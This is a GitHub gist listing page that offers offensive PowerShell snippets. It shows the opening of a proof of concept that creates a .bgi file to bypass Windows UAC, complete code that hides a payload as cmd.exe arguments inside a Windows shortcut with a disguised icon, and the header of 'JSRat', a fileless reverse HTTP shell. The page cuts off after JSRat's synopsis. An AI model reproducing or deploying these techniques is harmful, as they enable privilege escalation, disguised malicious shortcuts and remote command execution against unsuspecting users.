Skip to content

Instantly share code, notes, and snippets.

View 3gstudent's full-sized avatar
🎯
Focusing

3gstudent

🎯
Focusing
View GitHub Profile
@3gstudent
3gstudent / bgi bypass.ps1
Last active July 14, 2017 09:39
A quick POC to create .bgi file to bypass UAC
<#
A quick POC to create .bgi file
Author: 3gstudent @3gstudent
This way learned from Oddvar Moe [MVP]@Oddvarmoe
Many thanks to him
Link: https://msitpros.com/?p=3831
#>
# Change this,set the path of vbs (Disk directory requires capital letter)
$VbsPath="C:\test\cmd.vbs"
@3gstudent
3gstudent / shortcut.ps1
Created December 30, 2016 03:10
Hide payload into Windows shortcut
$file = Get-Content "c:\test\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
@3gstudent
3gstudent / JSRat.ps1
Created January 7, 2016 08:45
Fileless JavaScript Reverse HTTP Shell
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.